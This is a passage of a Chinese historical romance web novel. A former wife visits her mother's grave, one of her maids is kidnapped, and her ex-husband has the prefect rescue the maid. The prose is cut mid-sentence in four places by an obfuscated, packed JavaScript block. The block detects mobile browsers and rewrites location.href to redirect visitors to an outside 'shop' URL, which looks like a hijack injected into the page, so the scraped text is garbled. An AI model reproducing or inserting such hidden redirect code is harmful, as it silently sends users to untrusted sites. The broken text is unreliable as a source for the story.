一直以来,都是她太过自私。她只从自己的角度考量,以为给了叶琛最好的一切,日子一天天过,在东流躲到叶琛参加科举的那日。 到时候,容津岸就算是活着,也早就重新娶妻生子,不会再与她纠缠,更不会与她争夺她唯一的儿子。 可是三人成虎,十几年光阴的未知,秘密再如何被严密遮掩,终究有被揭穿的那日。 就像叶渚亭的秘密,处心积虑隐瞒了她十几年,最后她得知真相,天崩地裂。 到底是她错了。 “停车。”叶采薇忽然吩咐车夫。 “容安其实一直都希望阿娘能带容安出门,对不对?七叔叔每次带容安出来,容安总是玩得开开心心。”她牵着叶琛的手,离开马车, “今晚,就让阿娘好好陪陪容安,好不好?” 其实这些年,她从不带叶琛出门,是害怕被书院里熟识之人看见。书院里的人不知她的真实身份,只道她因家道中落、经奚家七爷奚子瑜的推荐在此独居,不知她成过亲,更不知她还有个孩子。 今晚的她心乱如麻,只想和叶琛好好相处。 反正,容津岸已经离开了东流,不会再此时出现了。 今晚的街市也冷冷清清,叶琛看出了娘亲的心神不宁,即使兴奋好奇,也绝不多表露半分,只安安分分被娘亲牵着。 走到一个卖面具的摊位前,叶琛才终于晃了晃叶采薇的手: “阿娘,这些面具好漂亮,你和容安一人买一个戴上,好不好?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730569|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要他和娘亲都戴上面具,这街上便再不会有人认出他们来。 他想让阿娘摆脱忧虑,他想让阿娘重获快乐。 摊位上摆着各式各样的面具。 怒目的金刚、长鼻的大象、狰狞的恶鬼、狡黠的狐狸,还有呆滞木讷的昆仑奴、慈眉善目的赵公明。 叶采薇的视线一一扫过去。 那一年在京城,上元节的灯会热闹非凡,叶采薇与同窗几人为了给秘密相恋的温谣和孟崛制造约会的机会,决定结伴夜游。 他们刚刚离开叶府,也遇上卖面具的小贩。 因着叶采薇属虎,她便选了张牙舞爪的老虎,戴上的同时,就听见身旁的奚子瑜揶揄容津岸道: “仲修,你真要这张猪脸?只怕等会儿人一多,遇到个胆儿大的姑娘,迷恋你这风流倜傥的身姿,本来是要上来搭话的,凑近了,却被这张丑陋无比的猪脸吓得溜之大吉。” “君子从不以貌取人。”容津岸坚持自己的选择。 奚子瑜意味深长地看着已经戴了老虎面具的叶采薇,勾唇一笑,这才随手拿了一张纵目巨耳的“千里眼顺风耳”面具,给自己戴上: “也是,喜欢仲修的姑娘,即使你这面具下真长了一张猪脸,也照样喜欢得不得了,哪里还看得见旁人?” 那一晚,京城的街市灯火通明,几个人顶着面具,玩过了猜灯谜、花式投壶,围观了盛大的烟火,还有卖艺人精彩纷呈的杂技,他们在拥挤的人潮里嬉嬉笑笑,挥霍着青春的浮光,谁也没有发觉,老虎和小猪,是从什么时候起不见的。 叶采薇牵着容津岸的手,躲在街角的榕树后面。 榕树已有百岁,树干宽阔强壮,完美地将他们隔绝,创造属于他们的天地。 叶采薇将自己的面具摘下来,又踮脚,去够容津岸脸上的面具。 可是男人摆明存了逗弄的心思,故意把下巴抬起来,他身材本就高大,叶采薇伸尽了玉臂,还是徒劳无功。 “哥哥,你让我把面具摘下来嘛!”她腻着嗓子撒娇。 “摘下来做什么?刚刚是谁目不转睛,盯着这张猪脸看的?”他笑。 “我要亲你,”她急得脸颊透红,“好哥哥,让我亲亲你嘛!” 容津岸长臂一展,顺势把少女揽在怀里,让她贴着他的心跳。他身上的气息清淡凛冽,即使沾染了尘世喧嚣,却还是透着不食人间烟火的清高。 “张嘴。” 然后突然将自己的面具摘下来,倾身堵住她香软的嘴唇。 面具落地,悄无声息。 他的手掌骨节分明,长指深深插.入她如瀑的青丝,将她的后脑托住,他清淡的气息随着他与她纠缠的唇齿寸寸没入,在少女的心头,开出一朵一朵妖冶魅艳的藤萝。 外面的烟花绚烂多姿,人潮拥挤,煌煌烨烨的街市像川流不息的海。 无人知晓的角落里,她也为他沉沦,沉沦欲.海。 ——“阿娘,这只狸猫的面具画得真可爱,容安就要这一只,好不好?” 叶琛脆生生的嗓音,如春日里吹落花瓣的风,叶采薇从恍惚中抽离,手心里全是汗。 “狸猫势小,不如猛虎,万兽之王。这只老虎面具画得如此生动,威风凛凛,显然更适合男孩子戴。” 随着男声而来的,还有一只清晰凌厉的大手。 叶采薇忽然不自觉一抖。 容津岸不是早就离开东流了吗,怎么会突然出现在他们身后? 13. 绩溪 13 最终,叶采薇还是给叶琛买了他喜欢的狸猫面具。 虚惊一场。 也许是她被面具勾起往事而心神荡漾,竟然会把佟归鹤的声音和手型,都认做了容津岸。 从前她也这样,被容津岸的一举一动而牵动神思。 第一次,是她在街头两次偶遇他、请他单独吃饭却不欢而散之后。 连续好几日,叶采薇都沉浸在莫名的闷闷不乐之中,想不明白为什么,直到叶渚亭从国子监带了人回到叶府。 国子监的课业清闲,叶渚亭惜才,让这几人在以后的空闲时日都到叶府上来,他为他们专门开授私课。 其中就有容津岸和奚子瑜。 叶采薇是由叶渚亭手把手教出来的“关门弟子”,面对几名突然多出来的同窗却并不排斥,反而表现款款,大方得体。 奚子瑜不似容津岸那般冷淡,圆滑热情,主动向叶采薇问好,还说希望叶大姑娘之后看在同窗的薄面上,对自己的文章口下留情。 也正是在此时,叶采薇才恍然大悟,原来她随口对容津岸文章的那句“华而不实,徒有其表”的批评,不仅被他本人听到,还在那日来叶府的所有国子监新生之中,传了个遍。 所以,那顿不欢而散的饭,是容津岸恼怒她,明明不喜辞藻华丽的文章,却撒谎敷衍? 可是,既然恼怒,为什么不直接说出来,而是憋在心里,故意冷待她呢? 一副道貌岸然的臭皮囊,凭什么敢这么对待她? 她当时并不知晓,这几乎成为了他们两人后来相处的常态。 以至于绝大多数时候,她根本不清楚,容津岸心里有没有她。 牵着叶琛的叶采薇回过神来,买下了另一张仿兰陵王入阵的木制面具。 她忽然发觉,自己思虑了两日的另一个问题,已经因着这场偶遇,迎刃而解了。 既然撞破了她与儿子出街,想必佟归鹤会知难而退,再不去想那个考取功名后向她提亲的大胆决定。 这个刚刚弱冠的青年连自己都照顾不好,又何况照顾叶琛这个与他非亲非故的孤傲男孩呢? *** 之后的日子平淡无波,但却忙碌充实。 叶采薇答应了梅若雪,要在学生们科举后离开东流,她需要为此做许多准备。 在东流购置的所有店铺和庄子,尽数低价转让给梅若雪。 庄子一向是由梅若雪在打理,左手倒右手的事,自不必说; 至于那些店铺,则主要由叶采薇的另一名婢女见雁在管,转手之前,自然是要将钱货等等统统计算清楚。 见雁与问鹂一样,从小服侍叶采薇。 两人的名字都是叶采薇所起,一个出自“楼倚暮云初见雁①”,一个出自“除非问取黄鹂②”。叶采薇在东流落脚之后,见雁便发挥了自己善于经营理财的长处,将叶采薇的店铺打理得井井有条,生意蒸蒸日上。 可以说,当日的池州,叶采薇能在容津岸与康和县主面前豪掷千金,见雁功不可没。 但饶是厉害如见雁,多少间铺子的重任陡然压下来,她长了三头六臂,也难以从容应对,好在叶采薇未嫁时早早掌握了理家之技,对见雁的忙碌操劳又心疼又愧疚,索性将大半时间都用在分担见雁的压力上,时常与她一同熬到深夜。 抽空时,叶采薇处理了与书院相关的事。 当初能来青莲书院教书,全靠奚子瑜的引荐保举,这次叶采薇却要绕过奚子瑜去向书院的山长请辞,好在山长通情达理,甚至还答应了她,在她离开之前向书院所有人保密。 忙忙碌碌之余,叶采薇收到了来自京城的书信。 是温谣寄来的,厚厚一叠。 信上,温谣只字不提她当年滑胎一事,反而事无巨细地说起了她和孟崛在前年初生的女儿。从她发现有孕到十月怀胎,从小姑娘呱呱坠地到能翻身、爬行、站立,软软糯糯地唤她和孟崛阿爹阿娘,字里行间,尽是浓浓的母爱。 叶采薇一字一句地读着信,忍不住热泪盈眶。 她到底何德何能,能够在短短二十四年的人生里,遇到温谣、梅若雪这样的知己好友? 还有问鹂和见雁,不止是她的左膀右臂,还是陪伴她走过艰难岁月的姐妹至亲。 她本性疏狂,是只下山猛虎,她们包容她的横冲直撞、对她不离不弃。 温谣的信上还说了两件事。 第一件是说,这五年来每逢清明和忌日,温谣与孟崛都要到城郊,为叶渚亭的两座坟祭扫,每次容津岸都比他们早一天去; 第二件是说,今年雨水充沛,京城的冬天会下大雪,温谣非常希望,叶采薇能够到京城和她一起过年。 叶采薇却不知该如何回信。 她想念温谣,也知晓温谣很想念她,然而这次回到东流,她却面临了许多措手不及的变故,牵一发而动全身,她必须得斟酌应对。 这一斟酌,便斟酌到了八月,这一届青莲书院的学生纷纷准备出发赶赴应天,参加即将到来的乡试。 叶采薇答应了梅若雪要在此时离开东流,却选择将叶琛留下,仍由梅若雪照料。 动身的那日,叶琛的眼睛一直没有离开过她。 男孩的眉宇凝结着愁苦,分明是不舍的,却又兀自想起上次自己失礼后娘亲的严厉斥责,默默隐忍,实在忍不住,只能站在叶采薇的脚边,定定望向她: “阿娘,这一次你去应天,还会和上次去池州那般言而无信吗?” 叶琛的皮肤很白,和他父亲容津岸一样,也正因为如此,他圆圆的瞳孔就更像一口幽深的黑井,叶采薇心头猛地一缩,主动蹲下来,与他平视: “言而无信,不知其可也③。上次是阿娘的错,这一回,若阿娘再次言而无信,还怎么对容安以身作则?” “容安要阿娘平安回来。”说完,叶琛的薄唇抿成了一条线。 “只是陪学生们参加秋闱,容安放心,阿娘不会有事的。”她忍不住摸了摸叶琛的小脑袋。 但……真的只是陪学生们参加秋闱吗? 那不过是她为了让叶琛放心的幌子。 这一趟离开东流,带上问鹂和见雁,她并不去应天,而是为了寻找,她们一家四口新的落脚之地。 等到一切落实,她再将叶琛接走。 但离开东流,叶采薇决定先回一趟绩溪。 绩溪是叶氏的祖地。但早在几代以前,叶家一门便因为在京任职而购置了京宅、举家迁至京城,后来嘉泰元年,祖父被迫退出内阁,被贬至徽州任知府,便再次举家迁回绩溪祖宅,一直到叶采薇出生的第二年,叶渚亭被嘉泰帝亲自召回京城,绩溪的祖宅才再次成为空宅。 那里已经久无人居,叶采薇三人刚到绩溪,见雁便说自己先回去清理打扫,等到她们从姚氏的坟前回来,刚好可以入住。 叶采薇一心挂念生母姚氏,嘱咐了见雁两句,带着问鹂匆匆离开。 与容津岸和离之后,她因担心容津岸的骚扰,五年来都再未回过绩溪,这次有了机会,她自然是马不停蹄,带着祭品奔赴姚氏的坟茔。 谁知道,却遇见了她意想不到的人。 她十分庆幸自己这趟没有把叶琛带出来。 容津岸刚刚祭扫完,清冷淡漠的眼神扫过来,和那日在青莲书院里拂袖而去的失态模样完全不同。 “今日是叶夫人的生忌,大人刚好来绩溪办事,顺路过来看看。”他身后的容文乐对叶采薇主仆二人解释。 其实不难理解。 叶采薇的祖父,当年在任徽州知府期间,曾经数次资助过容津岸父亲的学业。而叶渚亭不仅因此早早便与容津岸父亲相识,两人还是同科进士,后来又先后遭遇贬谪、外放回到家乡。 姚氏从前是见过孩提时的容津岸的。 “家母仙逝多年,容大人有心了。”这一次施礼,叶采薇全是出自真心。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730570|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人会在绩溪多留两日,若是姑娘……哦不,先生,若是先生有事,可以到寿连客栈找他。”容文乐又道。 等到那两人离去,叶采薇这才收敛心神,郑重走到姚氏的墓前。 姚氏在她一岁那年离世,算起来,这座孤坟已有二十三个年头。但仔细观察,墓碑干净,周遭平整,祭品和香烛纸钱都收拾得一尘不染,定是有人经常打理。 可是,谁又会对姚氏的坟茔如此上心呢? 叶氏一族人丁单薄,连续数代单传,如今在徽州姓叶之人,能与叶采薇有血缘的,查查族谱,也早已出了五服; 姚家并不在绩溪,何况当年姚氏是不顾家人反对嫁给叶渚亭的,姚家人不可能来; 而这周围的邻里,当初叶渚亭在朝中蒸蒸日上时倒把绩溪的一切经营得井井有条,叶渚亭一朝失势,这些人也对叶家避之不及,更不可能还像从前那样对待姚氏的坟茔。 叶采薇想不明白,也不敢深想。 香烛熊燃,纸钱一遇上火苗,便迅速窜成了黑黢黢的灰烬,向上飞舞,叶采薇在姚氏的坟前跪下,面容沉肃,重重磕了三个头。 “阿娘,是女儿不孝,已经有六年没有回来看过你了。” “阿爹那边,谣谣和她的夫君念着旧情,时常会去探望,女儿也不打算将他迁回绩溪来。虽然女儿原谅了他,但他是阿娘的夫君,阿娘你一天不发话,女儿就不可以代替阿娘原谅他。” “阿娘,你是不是在怪女儿不回来看你?你已经有整整五年,没有入女儿的梦了……” 叶采薇擦了擦眼泪。 “至于容安,下一次,女儿一定带他来看你。” “刚才来看你的那个人叫容津岸,是容安的父亲,他还是个四五岁小屁孩的时候,阿娘你见过他的。女儿和他已经和离五年了,就是因为他,害得女儿一直没敢来看你……他不知道容安的存在,阿娘最疼女儿了,女儿求求你,可千万千万不要在他那里说漏了嘴。” 问鹂在一旁兢兢业业烧纸,听到此处,忍不住抿唇笑了笑。 能陪在这样的姑娘身边,每一天都是开心快乐的。 主仆两人在姚氏的坟前待了很久。 叶采薇把藏在心里的话说完,又和问鹂一起将坟前全部收拾一新。等她们走回叶家祖宅的时候,却看见那扇漆黑的广梁大门,挂着一样十分惹眼、又明显不属于这里的东西。 走近一看,是见雁的手帕。 见雁的女红手艺特殊,一眼便认得,绝不会错。那手帕包着的还有一封信,说是见雁已经落到了他们的手中,若要赎人,必须在两人内拿出五千两来。 见雁被人绑架了,绑匪知道她们有钱,一来便狮子大开口。 叶采薇五雷轰顶。 “见雁她、她不过就是先过来打扫宅院,怎么就……”问鹂心急如焚,每一个字都在颤抖。 她与见雁从小就跟在叶采薇的身边,把彼此视作姐妹,一想到见雁可能得遭遇,眼泪便如瀑布一般哗哗外流。 叶采薇的心揪在了一处,每一下都在疼。 她不可以再失去任何人了。 “姑娘,报官吧,我们报官吧。”问鹂哭得嗓子都哑了。 这一次出来,与上次带学生去池州府城不同,只有她们三个女子同行,所带的银票不多,而绩溪距离东流接近五百里路程,若是返回东流取钱,一来一回,见雁早已命丧黄泉。 “我是罪臣之女,”叶采薇银牙咬碎, “纵然,当初因着婚嫁逃过一死,但毕竟身份特殊,绩溪的县令也早已不是当初受过阿爹提拔的那位。如今,我以民妇的身份报官,以他们的作风,必不会好生对待。” 问鹂抓紧了叶采薇的手,两人的掌心俱是一片冰凉。 “只有两日,时间紧迫。”叶采薇一顿, “眼前最好的办法,就是找容津岸,上次我帮他的红颜知己康和县主一个大忙,这一次,也该他还回来了。” 14. 牙齿印 14 谁也没想到,容文乐在姚氏的坟前随口那句“若是先生有事,可以到寿连客栈找他”的话,竟然真的派上了用场。 容文乐对叶采薇的到来很是意外。 容文乐被收留时,正是容津岸拿到解元、叶采薇春风得意的时候,叶采薇待所有的婢仆都很好,即使后来遭逢剧变、她每日笼罩在阴霾之中,也从不迁怒于下人,反而还会为了自己偶尔的失控而向他们道歉。 见到叶采薇主动来找容津岸,容文乐本来很是高兴,但见叶采薇面色阴沉又行迹匆匆,只好将心中的喜悦按下,快速引路。 “容阁老,上次你的红颜知己摔碎了人家对的天青汝窑杯,我替她赔了一万两,这么些时日过去,请你立刻把钱还给我。”一见容津岸,叶采薇毫不客气,开门见山。 容津岸还是那一身青白色的素净衫袍,长指端着茶盏,正在慢条斯理地品茶。 听到叶采薇的话,他缓缓将茶盏放下,目光敛闭,形容疏懒: “既然要我还钱,方才在叶夫人的坟前,怎么不开口?” 叶采薇并不想将见雁的事外传,顿了顿说: “阿娘平素喜静,我不想有人在她坟前撒野,铜臭之类,污了她清明的耳。” 容津岸不知为何嗤笑一下。 叶采薇猜他在嘲笑她的故作清高。 “上次在青莲书院,叶先生可是亲口说过,不打算让我们还钱。” 容津岸仍旧未抬眼: “为学生们出钱出力,都是叶先生,你这个老师应有的责任。” 话倒是记得一清二楚,难免阴阳怪气。 而容津岸这副气定神闲的模样很难不让叶采薇气恼,但毕竟人命关天,她狠狠地掐自己的手心,强迫冷静再冷静,撑着双眸: “那,上次的五千两呢?我说了,那是给你与康和县主新婚的礼金,但既然你和她并无婚约,这钱我自然该收回来的。” 于情于理,她找他要钱都是不容置疑的。 容津岸抬起头。 “那五千两,不是给阿娘仙逝的帛金吗?” 他的视线像鸿毛一般落入她急切的眼眸,那样清澈,那样无辜。 可叶采薇知道,他是故意装出一副无知的样子,以此激怒她。 话明明是之前他自己说的,游娘子不要她的帛金。 怎么还能如此颠倒黑白? “你——”她杏眼圆睁。 突然,叶采薇脑中闪过了一个念头。 为什么在姚氏的坟前,容文乐会无缘无故提起,容津岸要在绩溪落脚,还报上了客栈的名字? “容津岸,”她直呼他的姓名,“不会是你干的吧?” “容仲修,你到底还是不是人?” 男人用目光紧紧将她锁住。 须臾,他波澜不惊的面上有了阴翳,笼罩着他苍白的皮肤。 “究竟发生了什么事?” 叶采薇从鼻子里哼了一声,对他这般惺惺作态不屑一顾: “还在装?明明是你找人把见雁抓起来,装成是绑匪勒索我,好让我过来求你!” 她越说越气,怒火点燃,像只炸毛的狮子: “亏你还是清流领袖,怎么手段如此下作?我告诉你,见雁和问鹂不仅仅是我的婢女,更是与我相依为命的亲人,如果你敢让见雁受半点委屈,我叶采薇豁出这条命,也要跟你没完!” “所以,你打算用钱去把见雁赎回来?”容津岸已然想通来龙去脉,脸色阴沉,“薇薇,为什么不报官?你真的认为那些绑匪有良心,收了你的钱,就会把见雁平安放出来?” 叶采薇恨不得撕了他: “既然不是你做的,跟我说这些废话做什么?人命关天,赶紧,赶紧把钱还给我!” “我不会随身带那么多银票的。”容津岸说。 “没钱?!”叶采薇几乎叫出来,“没钱你跟我罗里吧嗦说这么多?浪费时间!” 她强忍住把眼前的男人暴打一顿的冲动,转身就走。 “镖师,对,找个镖师,快马加鞭带我回一趟东流,应该赶得及……”她火急火燎往外赶,口中念念有词。 谁知手腕上一痛。 “薇薇,是不是我的话,在你心里都是废话,一句也听不进去?”容津岸起身,追上来,他捏住她手腕的力气很大,似乎根本不打算放过她。 叶采薇的心本就在油锅里炸,这一下,就像是往油锅里洒了好大一把凉水,噼里啪啦爆得到处都是。 早知道,她就不来找他了。 他只会让她心烦。 一想到这些,叶采薇突然将被他握住的手腕抬起来,照着他惨白的手背,狠狠咬下去。 发狠,再发狠,恨不得直接将那块肉咬掉。 可她到底不是真正的猛虎,没有尖利的獠牙,自认为使出了全力,容津岸却纹丝未动,她仍旧被他紧紧攥着。 愤怒混杂着委屈,化作热泪,霎时间堆满她的眼眶。 “绑匪都是亡命之徒,不是重信守诺的正人君子,你拿着钱去,到最后只能人财两空。” 容津岸的话淡定极了,仿似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730571|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不是在咬他,而只是轻吻。 “薇薇,要救出见雁,唯一的办法就是找官府出面。”他并没有收回手的意思,“你若再这般执迷不悟,只会害死见雁。” 叶采薇心跳如雷,松开了口。 只见容津岸惨白的手背上,她留下的深深牙印,十分瞩目。 她的胸膛上下起伏,仿佛刚刚经历了一场鏖战,手腕仍被他攥着。 “若我现在放了你走,等到你失去见雁的时候,你会自责和痛苦。” 容津岸的声音镇定得实在不像话: “我们现在立刻出发,到徽州府城去,绩溪的县令为人奸猾,必会百般推诿拖延,徽州知府与我有些交情,以我的名义报官抓人,救出见雁。” 叶采薇的眼泪不争气地落了下来,她翻着眼皮,吸了吸鼻子,却还是涩涩哑哑: “如果见雁救不回来,你该拿什么向我交代?” “薇薇,”容津岸的目光落在她留给他的牙齿印上,“人不应该老是去想最坏的结果,要往好处看,不是吗?” 这话,从前他绝不会对她说。 即使是乐极生悲的那天。 他刚刚参加殿试,被嘉泰帝钦点为探花,与她定亲的同一日,太子逆案爆发,仿若一道惊雷,将她触手可及的幸福劈开,粉身碎骨,血淋淋地张开狰狞的爪牙,她看着叶家倾覆,看着叶渚亭被捕下狱,她仓皇而无助,死死拽着他的衣角: “怎么办?怎么办?我到底可以做什么,怎么样才能把阿爹救出来?” 他将她搂在怀中,轻拍她的脊背,然而动作僵硬。 “薇薇,你阿爹的事,你要做好最坏的打算……” 偶尔理智回笼的时候,她也理解他。 那桩太子逆案证据确凿、石破天惊,天子只处理了太子党而没有祸连九族十族,已经是对他们格外开恩了。 容津岸一个刚刚入仕的小小翰林,根本做不了什么。 但她也不是真要他为了一桩明知没有可能的案子赴汤蹈火。 她只是想要得到他的承诺,想听他说出可以为她奋不顾身的话,哪怕、哪怕只是为了哄她开心,为什么就是得不到呢? 而现在,危机再次突然降临,比起当年来,这个男人早已褪去了青涩,是万人敬仰的国之肱骨,却还是不肯说出半句承诺。 就这么不愿意承担责任? “当日说什么,要我跟你走?”叶采薇翻出了青莲书院里,他对她说的话,冷笑, “容津岸,你连我的婢女都保护不好,凭什么要我跟你走?” 15. 上药 15 容津岸一直牵着叶采薇。 离开绩溪的客栈,上马车,去往徽州府城,一路上都没有松手。 等到马车停在了徽州知府衙门前,容津岸这才卸了力。 他从容站起身,快要出马车的时候,回头看向叶采薇: “在这里等我。” 他在朝堂上也是这么为人处世的吗? 叶采薇咬着牙,捂住自己已然发肿的手腕,一声不吭。 过了会儿,马车之外,传来容文乐向问鹂说话的声音: “这是大人吩咐小的为先生买的药膏。大人说,事出紧急,冒犯了先生,若是先生的手腕因此受伤,他没办法向奚公子交代。” 问鹂沉默,上马车的时候,满脸都写着疑惑。 她显然对容文乐最后那句话一头雾水,打开药膏的盖子,听到叶采薇低低嘟囔: “那天他到东流,先去了奚家,刚好七奶奶不在,小厮的话说得模棱两可,他就误会七奶奶是我。” 问鹂哭笑不得: “这么荒谬的误会,简直不像容大人会想出来的……” “可是这下误会大了,先生怎么不向容大人解释清楚?” 说着,问鹂手上的力道没控制住,大了一点。 “嘶……好疼……”叶采薇眼眶红红,想把手臂缩回来,又强行忍下。 她气鼓鼓: “只准他和康和县主制造误会,不准我也制造误会?再说了,这误会不是我造出来、是他自己乱想的,我只不过是没有澄清罢了。” 问鹂往她的腕子上极轻极柔地吹气。 “这些都是小事,跟见雁的性命比起来,容津岸的误会算什么?”一想到见雁,叶采薇长叹一声。 事情到底如何?见雁能不能平安回来? 若是见雁最后真的因为她的谬误而错失了得救的良机,恐怕她后半生,都不会原谅自己。 这边,容津岸的进展很快。 徽州知府行事果断稳妥,在得到容津岸提供的线索和证据之后,立刻着人去办。 至于他心中的疑惑,关于这个向来不近女色、甚至身边连服侍的丫头和嬷嬷都没有的容大人,何时有了如此体己的婢女,还让他亲自过来报案,徽州知府来不及措辞细问,先被容津岸开了口: “知府衙门的后院是有住所的,为容某行个方便?” 再见叶采薇的时候,容津岸站在马车下,隔着帘子: “绑走见雁的,是从南边来的一伙流寇,他们在徽州已经作乱很久,知府早就筹谋捉拿,这次有了新鲜的线索,更是如虎添翼。” “我只要见雁平安回来。”叶采薇并未掀起帘子。 她还是没能从他口中听到半句承诺。 如此吝啬吗? 容津岸的声音隔着帘子传来: “见雁出事,需要我找人回东流的奚家报信?” 叶采薇咬唇沉默,又听他说: “堂堂奚家七奶奶,回乡祭扫,只带两个贴身婢女?奚子瑜就放心你这样出来?” 话里话外都是嘲讽。 此时,突然从衙门口出来一队人马,脚步声踢踢踏踏,领头的大捕头呵斥之声抑扬顿挫,还有小贩路人议论的叽叽喳喳,乱哄哄扫至叶采薇的耳畔。 一想到见雁很快就能得救回来,叶采薇的胸口便不那么紧了。 待嘈杂远去,周遭恢复平静,容津岸又说: “你和他的事,我不干预。” “今晚,你和问鹂住在知府衙门里。” 叶采薇说了声“好”。 “我回家里住。”容津岸顿了顿,“容文乐留下来,随时等消息。” 不过,好像并没有人问他他要住在哪里。 之后,再无交流。 叶采薇并未见到徽州知府本人,衙门来的接应之人也只唤她“娘子”,无人知晓她的身份。 与问鹂在衙门后院的厢房落了脚,两人却都因为忧心见雁而根本无法歇息,时辰长了,渐渐抱作一团,连呼吸都在颤抖。 容文乐一直守在外面。 到了后半夜,院子里忽然开始躁动起来,由远及近,说话声脚步声乱七八糟,叶采薇的心口被那些声音扯住,疼得要命,她站起来,脚底发虚,刚好厢房的门被敲响,是容文乐雀跃的声音: “娘子,见雁姑娘平安回来了!” 见雁已然昏迷,一阵手忙脚乱过后,她被安置在了厢房。 “回来的路上,大夫瞧过了,见雁姑娘只是受了点轻伤,等她醒来,应当没什么大碍。”容文乐疲惫笑着,“谢天谢地,娘子可以放心了。” 叶采薇和问鹂不眠不休地守着见雁,一直到快要午时,见雁悠悠转醒。 “口渴了是不是?”叶采薇心头的大石终于落地,她坐在床头,把见雁微微扶起来、让她靠在自己的怀里。 问鹂在一旁倒了茶端过来,叶采薇用手心试了试温度,正准备往见雁唇边送去,怀里的人却突然怔愣: “姑、姑爷……” 叶采薇与问鹂俱是一惊,她们都只顾着见雁,根本没有察觉,容津岸竟然不经通传,便入了这间厢房。 说好的克己复礼的君子呢? “我的好姐姐,你也是睡糊涂了,这哪里是七爷?” 问鹂面不改色地扯谎,直接定性为见雁刚苏醒口齿不清,把“七爷”说成“姑爷”。 容津岸不会起疑。 “这次你遇险,多亏了容大人出面来请徽州知府,否则我只能老老实实交赎金,祈祷那些歹徒真的会拿钱放人。” 叶采薇也放下茶盏,语气很是自然。 见雁当然是疑惑的。 自从跟着她家姑娘离开京城,已经整整五年没有半点容大人的消息,甫一见到他,她神思恍惚,顺口便唤起了从前的称呼,也不算太失礼。 可是,她明明叫的是“姑爷”,怎么问鹂自己听岔了还非要给她扣锅,歪曲她要喊“七爷”? 奚家七爷奚子瑜可比容大人差远了,无论是外貌还是气度,她再受惊糊涂,也不可能认错人的。 叶采薇自然看穿她的疑惑,暗自懊悔当时回到东流没有将重遇容津岸一事告知见雁,忙起了身,引着容津岸往外走。 他们站在四下无人的廊庑里。 午间日头正盛,大片大片地打在容津岸的身上,他的皮肤显得更加白,眉宇凛冽如远山青黛,似笼着渺渺烟云。 “这次谢谢你。”说完叶采薇便垂下头,像个主动对老师认错的学生,“昨天,是我太冲动,你说的那些都是对的。” 容津岸没有接话,就光是站着,已经足以渊渟岳峙。 “那个……你手背上的伤,”叶采薇早已不复伶牙俐齿,“还、还好吧?” 她想起昨天狠狠咬的那一口,心头忽然一荡,耳根也不由发烫。 “反正从前没少挨你的咬,习惯了。”容津岸却淡定得不像话。 叶采薇的耳根更烫了。 他之所以会给她起一个别样的昵称,便是因为她总是管不住自己的嘴。 尤其是当他下了狠劲撞得她魂飞魄散,她妖妖娇娇地求饶他却变本加厉时,她气急,便逮到哪里咬哪里。 他不是把她当做奚子瑜的夫人了吗?怎么能突然提起这个? 叶采薇气结,却听他不疾不徐—— “阿娘的新坟刚刚立好不久,难得来一次歙县,去给她上柱香?”容津岸将手背了过去。 徽州的府城就在歙县,容家的旧居不在城中。 “好。”叶采薇同意。 游秀玉的葬地挨着田埂,她与容津岸的父亲合葬,旁边则长眠着容津岸的兄长。 容津岸的父兄与叶采薇的生母姚氏死在同一场瘟疫之中,但直到容津岸将游秀玉接到京城,叶采薇才知晓此事。 叶渚亭瞒着她,容津岸也瞒着她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730572|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >甚至,容津岸从小就从游秀玉的口中知道了她。游秀玉除了说她长得粉雕玉琢实在出色之外,对她对叶渚亭,都没有什么好话。 这些,叶采薇都一直被蒙在鼓里。 她与容津岸本来就不应该开始,都是她坚持一厢情愿。 最终,也是她自食苦果。 叶采薇恭敬严肃地给三座墓碑一一上香,默了一会儿后,容津岸在一旁问: “要不要到家里坐坐?” 他好像少说了“我的”两个字。 叶采薇摇头:“不知见雁眼下如何了,我得回去看看。” 那是他的家,不是她的。 与她无关。 从前与容津岸热恋时,她说过很多次要和他一同返乡,要看看他从小到大生长的地方。 